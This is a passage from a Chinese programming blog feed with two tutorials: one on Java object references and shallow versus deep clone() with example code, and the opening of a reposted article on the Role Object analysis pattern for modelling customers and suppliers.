				<p>从这个例子知道Java对对象和基本的数据类型的处理是不一样的。和C语言一样，当把Java的基本数据类型（如int，char，double等）作为入口参数传给函数体的时候，传入的参数在函数体内部变成了局部变量，这个局部变量是输入参数的一个拷贝，所有的函数体内部的操作都是针对这个拷贝的操作，函数执行结束后，这个局部变量也就完成了它的使命，它影响不到作为输入参数的变量。这种方式的参数传递被称为"值传递"。而在Java中用对象的作为入口参数的传递则缺省为"引用传递"，也就是说仅仅传递了对象的一个"引用"，这个"引用"的概念同C语言中的指针引用是一样的。当函数体内部对输入变量改变时，实质上就是在对这个对象的直接操作。</p>
				<p>除了在函数传值的时候是"引用传递"，在任何用"＝"向对象变量赋值的时候都是"引用传递"。如：</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>package reference;
class PassObj
{
    String str = "init value";
}
public class ObjPassValue 
{

    public static void main(String[] args) 
    {
        PassObj objA = new PassObj();
        PassObj objB = objA;

        objA.str = "changed in objA";
        System.out.println("Print objB.str value: " + objB.str);
    }
}
/* RUN RESULT
Print objB.str value: changed in objA
*/
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>第一句是在内存中生成一个新的PassObj对象，然后把这个PassObj的引用赋给变量objA，第二句是把PassObj对象的引用又赋给了变量objB。此时objA和objB是两个完全一致的变量，以后任何对objA的改变都等同于对objB的改变。</p>
				<p>即使明白了Java语言中的"指针"概念也许还会不经意间犯下面的错误。</p>
				<p>
						<a id="1" name="1">
								<span class="atitle2">Hashtable真的能存储对象吗？</span>
						</a>
				</p>
				<p>看一看下面的很简单的代码，先是声明了一个Hashtable和StringBuffer对象，然后分四次把StriingBuffer对象放入到Hashtable表中，在每次放入之前都对这个StringBuffer对象append()了一些新的字符串：</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>package reference;
import java.util.*;
public class HashtableAdd{
    public static void main(String[] args){
        Hashtable ht = new Hashtable();
        StringBuffer sb = new StringBuffer();
        sb.append("abc,");
        ht.put("1",sb);     
        sb.append("def,");
        ht.put("2",sb);
        sb.append("mno,");
        ht.put("3",sb);
        sb.append("xyz.");
        ht.put("4",sb);
        
        int numObj=0;
        Enumeration it = ht.elements();
        while(it.hasMoreElements()){
            System.out.print("get StringBufffer "+(++numObj)+" from Hashtable: ");
            System.out.println(it.nextElement());
        }
    }
}
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>如果你认为输出的结果是：<br />get StringBufffer 1 from Hashtable: abc,<br />get StringBufffer 2 from Hashtable: abc,def，<br />get StringBufffer 3 from Hashtable: abc,def,mno,<br />get StringBufffer 4 from Hashtable: abc,def,mno,xyz.</p>
				<p>那么你就要回过头再仔细看一看上一个问题了，把对象时作为入口参数传给函数，实质上是传递了对象的引用，向Hashtable传递StringBuffer对象也是只传递了这个StringBuffer对象的引用！每一次向Hashtable表中put一次StringBuffer，并没有生成新的StringBuffer对象，只是在Hashtable表中又放入了一个指向同一StringBuffer对象的引用而已。</p>
				<p>对Hashtable表存储的任何一个StringBuffer对象（更确切的说应该是对象的引用）的改动，实际上都是对同一个"StringBuffer"的改动。所以Hashtable并不能真正存储能对象，而只能存储对象的引用。也应该知道这条原则对与Hashtable相似的Vector, List, Map, Set等都是一样的。</p>
				<p>上面的例程的实际输出的结果是：</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>/* RUN RESULT
get StringBufffer 1 from Hashtable: abc,def,mno,xyz.
get StringBufffer 2 from Hashtable: abc,def,mno,xyz.
get StringBufffer 3 from Hashtable: abc,def,mno,xyz.
get StringBufffer 4 from Hashtable: abc,def,mno,xyz.
*/
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>
						<a id="2" name="2">
								<span class="atitle2">类，对象与引用</span>
						</a>
				</p>
				<p>Java最基本的概念就是类，类包括函数和变量。如果想要应用类，就要把类生成对象，这个过程被称作"类的实例化"。有几种方法把类实例化成对象，最常用的就是用"new"操作符。类实例化成对象后，就意味着要在内存中占据一块空间存放实例。想要对这块空间操作就要应用到对象的引用。引用在Java语言中的体现就是变量，而变量的类型就是这个引用的对象。虽然在语法上可以在生成一个对象后直接调用该对象的函数或变量，如：</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>new String("Hello NDP")).substring(0,3)　　//RETURN RESULT: Hel
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>但由于没有相应的引用，对这个对象的使用也只能局限这条语句中了。</p>
				<ol>
						<li>产生：引用总是在把对象作参数"传递"的过程中自动发生，不需要人为的产生，也不能人为的控制引用的产生。这个传递包括把对象作为函数的入口参数的情况，也包括用"＝"进行对象赋值的时候。 
</li>
						<li>范围：只有局部的引用，没有局部的对象。引用在Java语言的体现就是变量，而变量在Java语言中是有范围的，可以是局部的，也可以是全局的。 
</li>
						<li>生存期：程序只能控制引用的生存周期。对象的生存期是由Java控制。用"new Object()"语句生成一个新的对象，是在计算机的内存中声明一块区域存储对象，只有Java的垃圾收集器才能决定在适当的时候回收对象占用的内存。 
</li>
						<li>没有办法阻止对引用的改动。 </li>
				</ol>
				<p>
						<a id="3" name="3">
								<span class="atitle2">什么是"clone"？</span>
						</a>
				</p>
				<p>在实际编程过程中，我们常常要遇到这种情况：有一个对象A，在某一时刻A中已经包含了一些有效值，此时可能会需要一个和A完全相同新对象B，并且此后对B任何改动都不会影响到A中的值，也就是说，A与B是两个独立的对象，但B的初始值是由A对象确定的。在Java语言中，用简单的赋值语句是不能满足这种需求的。要满足这种需求虽然有很多途径，但实现clone（）方法是其中最简单，也是最高效的手段。</p>
				<p>Java的所有类都默认继承java.lang.Object类，在java.lang.Object类中有一个方法clone()。JDK API的说明文档解释这个方法将返回Object对象的一个拷贝。要说明的有两点：一是拷贝对象返回的是一个新对象，而不是一个引用。二是拷贝对象与用new操作符返回的新对象的区别就是这个拷贝已经包含了一些原来对象的信息，而不是对象的初始信息。</p>
				<p>
						<a id="4" name="4">
								<span class="atitle2">怎样应用clone()方法？</span>
						</a>
				</p>
				<p>一个很典型的调用clone()代码如下：</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>class CloneClass implements Cloneable{
    public int aInt;
    public Object clone(){
        CloneClass o = null;
        try{
            o = (CloneClass)super.clone();
        }catch(CloneNotSupportedException e){
            e.printStackTrace();
        }
        return o;
    }
｝
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>有三个值得注意的地方，一是希望能实现clone功能的CloneClass类实现了Cloneable接口，这个接口属于java.lang包，java.lang包已经被缺省的导入类中，所以不需要写成java.lang.Cloneable。另一个值得请注意的是重载了clone()方法。最后在clone()方法中调用了super.clone()，这也意味着无论clone类的继承结构是什么样的，super.clone()直接或间接调用了java.lang.Object类的clone()方法。下面再详细的解释一下这几点。</p>
				<p>应该说第三点是最重要的，仔细观察一下Object类的clone()一个native方法，native方法的效率一般来说都是远高于java中的非native方法。这也解释了为什么要用Object中clone()方法而不是先new一个类，然后把原始对象中的信息赋到新对象中，虽然这也实现了clone功能。对于第二点，也要观察Object类中的clone()还是一个protected属性的方法。这也意味着如果要应用clone()方法，必须继承Object类，在Java中所有的类是缺省继承Object类的，也就不用关心这点了。然后重载clone()方法。还有一点要考虑的是为了让其它类能调用这个clone类的clone()方法，重载之后要把clone()方法的属性设置为public。</p>
				<p>那么clone类为什么还要实现Cloneable接口呢？稍微注意一下，Cloneable接口是不包含任何方法的！其实这个接口仅仅是一个标志，而且这个标志也仅仅是针对Object类中clone()方法的，如果clone类没有实现Cloneable接口，并调用了Object的clone()方法（也就是调用了super.Clone()方法），那么Object的clone()方法就会抛出CloneNotSupportedException异常。</p>
				<p>以上是clone的最基本的步骤，想要完成一个成功的clone，还要了解什么是"影子clone"和"深度clone"。</p>
				<p>
						<a id="5" name="5">
								<span class="atitle2">什么是影子clone？</span>
						</a>
				</p>
				<p>下面的例子包含三个类UnCloneA，CloneB，CloneMain。CloneB类包含了一个UnCloneA的实例和一个int类型变量，并且重载clone()方法。CloneMain类初始化UnCloneA类的一个实例b1，然后调用clone()方法生成了一个b1的拷贝b2。最后考察一下b1和b2的输出：</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>package clone;
class UnCloneA {
    private int i;
    public UnCloneA(int ii) { i = ii; }
    public void doubleValue() { i *= 2; }
    public String toString() {
        return Integer.toString(i);
    }
}
class CloneB implements Cloneable{
    public int aInt;
    public UnCloneA unCA = new UnCloneA(111);
    public Object clone(){
        CloneB o = null;
        try{
            o = (CloneB)super.clone();
        }catch(CloneNotSupportedException e){
            e.printStackTrace();
        }
        return o;
    }
}
public class CloneMain {
    public static void main(String[] a){
        CloneB b1 = new CloneB();
        b1.aInt = 11;
        System.out.println("before clone,b1.aInt = "+ b1.aInt);
        System.out.println("before clone,b1.unCA = "+ b1.unCA);
                
        CloneB b2 = (CloneB)b1.clone();
        b2.aInt = 22;
        b2.unCA.doubleValue();
        System.out.println("=================================");
        System.out.println("after clone,b1.aInt = "+ b1.aInt);
        System.out.println("after clone,b1.unCA = "+ b1.unCA);
        System.out.println("=================================");
        System.out.println("after clone,b2.aInt = "+ b2.aInt);
        System.out.println("after clone,b2.unCA = "+ b2.unCA);
    }
}


/** RUN RESULT:
before clone,b1.aInt = 11
before clone,b1.unCA = 111
=================================
after clone,b1.aInt = 11
after clone,b1.unCA = 222
=================================
after clone,b2.aInt = 22
after clone,b2.unCA = 222
*/
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>输出的结果说明int类型的变量aInt和UnCloneA的实例对象unCA的clone结果不一致，int类型是真正的被clone了，因为改变了b2中的aInt变量，对b1的aInt没有产生影响，也就是说，b2.aInt与b1.aInt已经占据了不同的内存空间，b2.aInt是b1.aInt的一个真正拷贝。相反，对b2.unCA的改变同时改变了b1.unCA，很明显，b2.unCA和b1.unCA是仅仅指向同一个对象的不同引用！从中可以看出，调用Object类中clone()方法产生的效果是：先在内存中开辟一块和原始对象一样的空间，然后原样拷贝原始对象中的内容。对基本数据类型，这样的操作是没有问题的，但对非基本类型变量，我们知道它们保存的仅仅是对象的引用，这也导致clone后的非基本类型变量和原始对象中相应的变量指向的是同一个对象。</p>
				<p>大多时候，这种clone的结果往往不是我们所希望的结果，这种clone也被称为"影子clone"。要想让b2.unCA指向与b2.unCA不同的对象，而且b2.unCA中还要包含b1.unCA中的信息作为初始信息，就要实现深度clone。</p>
				<p>
						<a id="6" name="6">
								<span class="atitle2">怎么进行深度clone？</span>
						</a>
				</p>
				<p>把上面的例子改成深度clone很简单，需要两个改变：一是让UnCloneA类也实现和CloneB类一样的clone功能（实现Cloneable接口，重载clone()方法）。二是在CloneB的clone()方法中加入一句o.unCA = (UnCloneA)unCA.clone();</p>
				<p>程序如下：</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>package clone.ext;
class UnCloneA implements Cloneable{
    private int i;
    public UnCloneA(int ii) { i = ii; }
    public void doubleValue() { i *= 2; }
    public String toString() {
        return Integer.toString(i);
    }
    public Object clone(){
        UnCloneA o = null;
        try{
            o = (UnCloneA)super.clone();
        }catch(CloneNotSupportedException e){
            e.printStackTrace();
        }
        return o;
    }
}
class CloneB implements Cloneable{
    public int aInt;
    public UnCloneA unCA = new UnCloneA(111);
    public Object clone(){
        CloneB o = null;
        try{
            o = (CloneB)super.clone();
        }catch(CloneNotSupportedException e){
            e.printStackTrace();
        }
        o.unCA = (UnCloneA)unCA.clone();
        return o;
    }
}
public class CloneMain {
    public static void main(String[] a){
        CloneB b1 = new CloneB();
        b1.aInt = 11;
        System.out.println("before clone,b1.aInt = "+ b1.aInt);
        System.out.println("before clone,b1.unCA = "+ b1.unCA);
                
        CloneB b2 = (CloneB)b1.clone();
        b2.aInt = 22;
        b2.unCA.doubleValue();
        System.out.println("=================================");
        System.out.println("after clone,b1.aInt = "+ b1.aInt);
        System.out.println("after clone,b1.unCA = "+ b1.unCA);
        System.out.println("=================================");
        System.out.println("after clone,b2.aInt = "+ b2.aInt);
        System.out.println("after clone,b2.unCA = "+ b2.unCA);
    }
}

/** RUN RESULT:
before clone,b1.aInt = 11
before clone,b1.unCA = 111
=================================
after clone,b1.aInt = 11
after clone,b1.unCA = 111
=================================
after clone,b2.aInt = 22
after clone,b2.unCA = 222
*/
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>可以看出，现在b2.unCA的改变对b1.unCA没有产生影响。此时b1.unCA与b2.unCA指向了两个不同的UnCloneA实例，而且在CloneB b2 = (CloneB)b1.clone();调用的那一刻b1和b2拥有相同的值，在这里，b1.i = b2.i = 11。</p>
				<p>要知道不是所有的类都能实现深度clone的。例如，如果把上面的CloneB类中的UnCloneA类型变量改成StringBuffer类型，看一下JDK API中关于StringBuffer的说明，StringBuffer没有重载clone()方法，更为严重的是StringBuffer还是一个final类，这也是说我们也不能用继承的办法间接实现StringBuffer的clone。如果一个类中包含有StringBuffer类型对象或和StringBuffer相似类的对象，我们有两种选择：要么只能实现影子clone，要么就在类的clone()方法中加一句（假设是SringBuffer对象，而且变量名仍是unCA）： o.unCA = new StringBuffer(unCA.toString()); //原来的是：o.unCA = (UnCloneA)unCA.clone();</p>
				<p>还要知道的是除了基本数据类型能自动实现深度clone以外，String对象是一个例外，它clone后的表现好象也实现了深度clone，虽然这只是一个假象，但却大大方便了我们的编程。</p>
				<p>
						<a id="7" name="7">
								<span class="atitle2">Clone中String和StringBuffer的区别</span>
						</a>
				</p>
				<p>应该说明的是，这里不是着重说明String和StringBuffer的区别，但从这个例子里也能看出String类的一些与众不同的地方。</p>
				<p>下面的例子中包括两个类，CloneC类包含一个String类型变量和一个StringBuffer类型变量，并且实现了clone()方法。在StrClone类中声明了CloneC类型变量c1，然后调用c1的clone()方法生成c1的拷贝c2，在对c2中的String和StringBuffer类型变量用相应的方法改动之后打印结果：</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>package clone;
class CloneC implements Cloneable{
    public String str;
    public StringBuffer strBuff;
    public Object clone(){
        CloneC o = null;
        try{
            o = (CloneC)super.clone();
        }catch(CloneNotSupportedException e){
            e.printStackTrace();
        }
        return o;
    }
    
}
public class StrClone {
    public static void main(String[] a){
        CloneC c1 = new CloneC();
        c1.str = new String("initializeStr");
        c1.strBuff = new StringBuffer("initializeStrBuff");
        System.out.println("before clone,c1.str = "+ c1.str);
        System.out.println("before clone,c1.strBuff = "+ c1.strBuff);
                
        CloneC c2 = (CloneC)c1.clone();
        c2.str = c2.str.substring(0,5);
        c2.strBuff = c2.strBuff.append(" change strBuff clone");
        System.out.println("=================================");
        System.out.println("after clone,c1.str = "+ c1.str);
        System.out.println("after clone,c1.strBuff = "+ c1.strBuff);
        System.out.println("=================================");
        System.out.println("after clone,c2.str = "+ c2.str);
        System.out.println("after clone,c2.strBuff = "+ c2.strBuff);
    }
}
/* RUN RESULT
before clone,c1.str = initializeStr
before clone,c1.strBuff = initializeStrBuff
=================================
after clone,c1.str = initializeStr
after clone,c1.strBuff = initializeStrBuff change strBuff clone
=================================
after clone,c2.str = initi
after clone,c2.strBuff = initializeStrBuff change strBuff clone
*
*/
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>打印的结果可以看出，String类型的变量好象已经实现了深度clone，因为对c2.str的改动并没有影响到c1.str！难道Java把Sring类看成了基本数据类型？其实不然，这里有一个小小的把戏，秘密就在于c2.str = c2.str.substring(0,5)这一语句！实质上，在clone的时候c1.str与c2.str仍然是引用，而且都指向了同一个String对象。但在执行c2.str = c2.str.substring(0,5)的时候，它作用相当于生成了一个新的String类型，然后又赋回给c2.str。这是因为String被Sun公司的工程师写成了一个不可更改的类（immutable class），在所有String类中的函数都不能更改自身的值。下面给出很简单的一个例子：</p>
				<p>package clone; public class StrTest { public static void main(String[] args) { String str1 = "This is a test for immutable"; String str2 = str1.substring(0,8); System.out.println("print str1 : " + str1); System.out.println("print str2 : " + str2); } } /* RUN RESULT print str1 : This is a test for immutable print str2 : This is */</p>
				<p>例子中，虽然str1调用了substring()方法，但str1的值并没有改变。类似的，String类中的其它方法也是如此。当然如果我们把最上面的例子中的这两条语句</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>c2.str = c2.str.substring(0,5);
c2.strBuff = c2.strBuff.append(" change strBuff clone");
       </code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>改成下面这样：</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>c2.str.substring(0,5);
c2.strBuff.append(" change strBuff clone");
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>去掉了重新赋值的过程，c2.str也就不能有变化了，我们的把戏也就露馅了。但在编程过程中只调用</p>
				<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#cccccc" border="1">
						<tbody>
								<tr>
										<td>
												<pre>
														<code>c2.str.substring(0,5);
</code>
												</pre>
										</td>
								</tr>
						</tbody>
				</table>
				<br />
				<br />
				<p>语句是没有任何意义的。</p>
				<p>应该知道的是在Java中所有的基本数据类型都有一个相对应的类，象Integer类对应int类型，Double类对应double类型等等，这些类也与String类相同，都是不可以改变的类。也就是说，这些的类中的所有方法都是不能改变其自身的值的。这也让我们在编clone类的时候有了一个更多的选择。同时我们也可以把自己的类编成不可更改的类。</p>
				<!-- AUTHOR BIOS -->
				<!-- Make author heading singular or plural as needed -->
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8430.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:57 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8430.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Role分析模式（一） 角色对象基本概念 </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8427.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:56:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8427.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8427.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8427.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8427.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8427.html</trackback:ping><description><![CDATA[
		<div class="postTitle">
				<a href="http://blog.tomxp.com/view/248.html#">
						<font color="#002c99">
						</font>
				</a> </div>
		<div class="postText">
				<table cellspacing="0" cellpadding="0" width="760" align="center" border="0">
						<tbody>
								<tr>
										<td class="title" valign="center" align="middle" height="56">
												<b>
														<font color="#ff0000" size="3">Role分析模式（一） 角色对象基本概念 <!-- #EndEditable --></font>
												</b>
										</td>
								</tr>
								<tr>
										<td class="formtitle" align="middle" height="40">
												<!-- #BeginEditable "2" -->来自BBS水木清华站∶精华区<!-- #EndEditable --></td>
								</tr>
						</tbody>
				</table>
				<table height="73" cellspacing="0" cellpadding="0" width="760" align="center" border="0">
						<tbody>
								<tr>
										<td class="content">
												<!-- #BeginEditable "3" -->
												<p class="content"> </p>
												<p class="content">概要</p>
												<p>在任何应用系统中，每一个对象都可能扮演多种角色，你在家里是父亲，在公司则可能是一个程序员，一个为你提供原材料的公司可能同时又是你的客户。。，这样的问题一次又一次的出现，我经常看到应用系统不能很好处理这些问题，在本文中，我将仔细描述这一重要的分析模式，并使用TAOERP 基本业务元素(TBCC)展示如何使用这一分析模式处理组织机构相关的问题。</p>
												<p>By 石一楹</p>
												<p>本文从《ERP之道》www.erptao.org转载</p>
												<p>======================================================================================</p>
												<p>一个应用系统经常需要某一个对象在不同的上下文中具有不同行为的情形，最常见的例子是客户和供应商的问题。 例子：</p>
												<p>某制鞋企业有很多为它们提供真皮的合作公司，在处理采购订单时，这些合作公司是它的供应商，但这些合作商同时从该制鞋企业采购皮鞋，所以在处理销售订单时，这些公司又变成了它的客户。</p>
												<p>许多建模人员在处理这类问题的时候，经常轻率地做出判断，当用户需求不能满足时，他们才发现这样的判断是不正确的。</p>
												<p>
												</p>
												<p>正如Martin Fowler所言，作为一个分析模式，我在这里主要关心在何种情况下需要使用什么样的模型，而并不是太关心具体的实现如何。本文中出现的Java代码虽然来自Tao BC库，但是出于示例的目的，都进行了简化。读者也应该把主要精力放在模型本身，或者说是接口上而不是实现。</p>
												<p>我要提醒的是，本文虽然论述了比较复杂的Role建模方法，但是读者在应用这些模式之前需要仔细考虑它们是否必要应用到你的模型之中。因为，任何一种复杂的模型虽然能够解决复杂的问题，但是不可避免地会带来额外的开销，所以，如果能够用简单的模型处理你手头上的问题，不要用更复杂的。面向对象和框架开发方法最大的好处之一就是能够在你需要的时候进行修改而对系统的影响最小。按照Kent Beck的Extreme Programming 理论：“只做你现在需要的”。当然，一旦问题发生变化，你需要用其它面向对象的方法进行Iterator，这是另外一个主题，我也许会在其它的专栏中介绍。</p>
												<p>上下文和动机</p>
												<p>假设我们现在要开发一个企业销售管理系统，在这样的系统中，关键的抽象之一就是合作伙伴客户，因此我们的设计模型中将包括客户Customer类。该类的接口提供对客户名字、地址、电话、Email，客户信用度等属性的操作。</p>
												<p>现在，假设我们也需要一个采购管理系统，这时候我们需要一个供应商的抽象，尽管供应商在很多方面和Customer一样，但是譬如供应商的提前期等操作显然和客户有所不同。这是我们抽取一个不同的Supplier类的原因。</p>
												<p>但是，当我们的销售系统和采购管理系统一起集成到供应链管理的时候，我们会发现独立抽象Customer和Supplier这样的类会碰到很多问题。一个供应商可能同时是你的客户，又或者你的一个供应商后来变成了你的客户。你也许考虑供应商和客户从一个抽象的Person类继承。</p>
												<p>但是，这还是有问题。首先，从对象标识的角度来讲，虽然我们的Customer和Supplier继承自同一个Partner，但是他们的对象属于不同子类的实例，所以他们不可能相同。因此，代表同一个合作伙伴的Customer和Supplier的两个对象具有不同的对象标识。它们之间的相同只能通过其它的机制模拟实现。如果两个对象指代同一个实际对象，他们从Partner上继承的属性应该相同。但是，我们会在多态搜索时发生问题，如果我们搜索系统中所有的Partner,那么相同的Partner(包括、供应商、客户)可能会重复出现，我们必须小心处理这些重复问题。</p>
												<p>角色模式把对象在不同上下文（销售系统、采购系统）相关的视图建模成Role Object,这些角色对象动态地连结到核心对象(Core Object)。这样形成的对象聚集表达一个逻辑对象，它能够处理包含多个物理对象的问题。</p>
												<p>
														<img height="369" src="http://www.uml.org.cn/sjms/images/rolepattern1-1.gif" width="471" />
												</p>
												<p>
												</p>
												<p>象Partner这样的关键抽象建模为一个接口，也就是没有任何实现。Partner接口指定了处理类似于伙伴地址、帐户这样的通用信息。Partner另一部分重要的接口是维护角色所需要的接口，象上面的adRole()和getRole().PartnerCore类负责实现这些接口。</p>
												<p>Partner的具体角色类由PartnerRole提供，PartnerRole也支持 Partner接口。PartnerRole是一个抽象类，它不能也不打算被实例化。PartnerRole的具体子类，如Customer和Supplier，定义并实现特定角色的具体接口。只有这些具体角色类在运行时被实例化。Customer类实现了该伙伴在销售系统上下文中的那一部分视图，同样，Supplier实现了在采购系统中的那一部分视图。</p>
												<p>像供应链管理系统这样的一个客户（使用这些类的代码），可能会用Partner接口来存取PartnerCore类的实例，或者会存取一个特定的PartnerRole的具体类，如Customer.假设一个供应链系统通过Partner接口获得一个特定的Partner实例，供应链系统可能会检查该Partner是否同时扮演Suppiler的脚色。它会使用一个特定的Specification作为参数做一个hasRole()调用。Specification是用于指定需要满足的标准的一个接口，我们会在后面考察这个问题。现在处于简单目的，我们假设这个Specification就是一个字符串，该字符串指定了需要查找的类的名字。如果该Partner对象可以扮演一个名为”Supplier”的角色，销售管理系统可以通过getRole(“Supplier”)得到具体的供应商类的对象。然后供应链管理系统就可以通过此对象调用供应商特定的操作。</p>
												<p>什么时候使用该模式</p>
												<p>如果你想在不同的上下文中处理一个关键抽象，而每一个上下文可能对应自己的一个应用程序，而你又想把得到的上下文相关的接口放入同一个类接口中。</p>
												<p>你可能想能够动态地对一个核心抽象增加或删除一个角色，在运行时而不是在编译时刻决定。</p>
												<p>你想让角色/客户应用程序相互独立，改变其中的一个角色可以不影响其它角色对应的客户应用程序。</p>
												<p>你想能够让这些独立地角色互相转换，并能辨别不同的角色实际上属于同一个逻辑对象时。</p>
												<p>但是，该模型并不适用于所有情况，如果在这些角色之间具有很强的约束和交叉关系。这种模型不一定适用于你。尽管我们后面可以看到，某些约束和关系用Role来处理可能更直观和简洁。</p>
												<p>
														<br />结构和原理</p>
												<p>下图显示了Role Object的基本结构：</p>
												<p>
														<img height="385" src="http://www.uml.org.cn/sjms/images/rolepattern1-2.gif" width="497" />
												</p>
												<p>
												</p>
												<p>我们可以看到客户应用程序大多数情况下使用Component接口来进行一些通用的操作。如果该应用程序并不关心具体的子类。在上面的供应链管理系统中，如果我们只关心Partner的一些基本信息，譬如地址、电话等等，客户应用程序只需要存取Partner接口(Component)。Component接口还提供了增加、修改、查询和删除对应Specification具体类的管理接口。客户应用程序在需要特定角色的操作时，可以使用getRole(aSpec)得到。</p>
												<p>对那些通用的操作而言，真正操作是由ComponentCore来实现的，不论客户使用Component接口还是具体的角色类。在客户应用具体类的时候，由于每一个具体类都继承了ComponentRole, ComponentRole将这些操作传递给ComponentCore,最后由Core来完成操作。我们同样也可以看到，那些角色管理的接口也是有ComponentCore来实现的，它有一个所有具体对象的列表，可以在其中进行查询和其他操作。</p>
												<p>
												</p>
												<p>使用RoleObject的优缺点</p>
												<p>从概念上来讲，Role Object为系统提供了一个清晰的抽象。属于同一个逻辑对象的各个不同上下文中的角色都服从于这个抽象的接口。Role Object也提供了一个一致的接口对这些角色进行管理。这种一致的管理使得对这个关键抽象具有很强的可扩展性，你可以动态增加、删除角色而不影响客户应用程序。也就是使得客户应用程序和对应Role的绑定很少。</p>
												<p>如果我们从面向对象的语言所能提供的设施来看，Role角色实际上提供了一种多重继承的特性。在我们上面的例子中，如果一种语言提供多重继承，我们很可能会让该Partner同时从Customer和Suppiler继承下来。但是，现在绝大多数面向对象语言都不支持这样的继承。即使支持的话，也没有办法动态增加和删除它的继承类。</p>
												<p>但是，Role Object模式的应用不可避免地带来一些麻烦。首先如果客户代码需要使用一个具体类的接口，它必须首先询问这个Component是否能够扮演那样的角色。语言本身也不能进行强制的类型检查。</p>
												<p>问题在Role之间具有相互约束的时候变得更加复杂。我们在这里申明，如果你所构建的具体类之间具有很复杂的相互约束关系，那么Role Object可能不是你的选择。当然，对Role Object进行适当的扩展和调整可以很好地处理某些约束关系。我们会在后面详述。 </p>
												<p>实现</p>
												<p>基本实现</p>
												<p>实现要从Role Object的基本意图来着手，使用Role进行建模最主要的两个目的是透明地扩展关键抽象、动态管理角色。</p>
												<p>在面向对象社团中，已经有很好的实践和理论来处理这样的问题。Decorator是满足透明扩展的范例，而Product Trader模式可以让客户进行对象创建，这些被创建的对象匹配一个特定的产品角色协议并且满足附加的Specification.,使用这两个广为模式社团所承认的模式使得Role Object模式更加坚固。</p>
												<p>我们所要解决的第一个问题就是Component、ComponentCore和ComponentRole之间的关系，从上面的原理图可以看到，Component抽象了所有角色都具有的通用接口。以后，我们可以使用角色管理协议增加、查询、删除角色。这些角色都从ComponentRole继承得到，它负责把具体角色的操作传递给Core来完成，也就是说ComponentRole实现了对ComponentCore的装修，同时，所有的具体类也对Core进行了装修，这一点和Decorator十分相似，但是至少有两点与Decorator是不同的：</p>
												<p>1． 意图：Decorator按照GOF的说法是动态地给对象增加一些额外的职责，也就是增加功能。我们可以看下面的一个Decorator的实例：</p>
												<p>
														<img height="354" src="http://www.uml.org.cn/sjms/images/rolepattern1-3.gif" width="500" />
												</p>
												<p>
												</p>
												<p>在这里，核心的元素是TextView，ScrollDecorator和BorderDecorator的目的是为了透明地为TextView增加滚动条和边框，而客户应用程序仍然可以使用Component接口，使用抽象的Decorator使得装修的增加不会产生组合爆炸问题。</p>
												<p>Role模式的意图是展现不同上下文中的不同角色，而其中的ComponentRole和ComponentCore之间具有等同的接口，也就是ComponentRole虽然包装了ComponentCore,但是它的目的不是增加功能而是作为一个中间传递者。把具体Role的所有通用接口（同时也是关键抽象Component的接口）转移到Core的具体实现上。</p>
												<p>2． 核心实例和包装实例之间的关系 装修模式参与者之间的装修者都相互链在一起，一个装修者指向另一个装修者，最后指向核心，而所有的Role都直接指向核心，这是因为装修生成的最后类的实例贯穿了所有的包装物，而角色之间基本上都是相互独立的，除非它们之间具有约束，这是后话。</p>
												<p>我们关心的第二个问题就是角色的管理,角色的管理需要我们考虑下面几个重要的问题：</p>
												<p>1． 角色对象创建：角色实现了对核心对象的运行时包装，所以最重要的问题是如何创建角色实例，以及这些实例如何与核心对象相连。注意客户代码不知道如何以及何时创建这些角色对象，创建过程由核心来控制。</p>
